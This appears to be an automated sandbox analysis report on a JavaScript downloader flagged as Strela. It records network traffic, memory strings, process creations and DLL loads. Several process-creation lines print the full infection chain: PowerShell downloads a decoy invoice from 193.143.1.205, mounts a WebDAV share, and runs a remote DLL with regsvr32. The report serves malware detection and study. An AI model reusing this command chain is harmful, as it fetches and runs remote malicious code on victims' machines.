Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: global traffic

TCP traffic: 192.168.2.6:49711 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49710 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2130602440.000002061E930000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2191762082.000001FC16171000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2191762082.000001FC16184000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2192175910.000001FC161DD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2191762082.000001FC16148000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2191762082.000001FC16184000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/J
Source: net.exe, 00000007.00000002.2191762082.000001FC16148000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/W
Source: net.exe, 00000007.00000002.2191762082.000001FC16184000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/b
Source: net.exe, 00000007.00000002.2191762082.000001FC16184000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/n
Source: svchost.exe, 00000009.00000002.3427800212.000002256E400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2192700843.000002256E370000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 4608, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 42384357676028189.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6404:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wucuus2m.jbx.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\42384357676028189.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1616,i,11305812430169056372,6185947756390858180,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1616,i,11305812430169056372,6185947756390858180,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
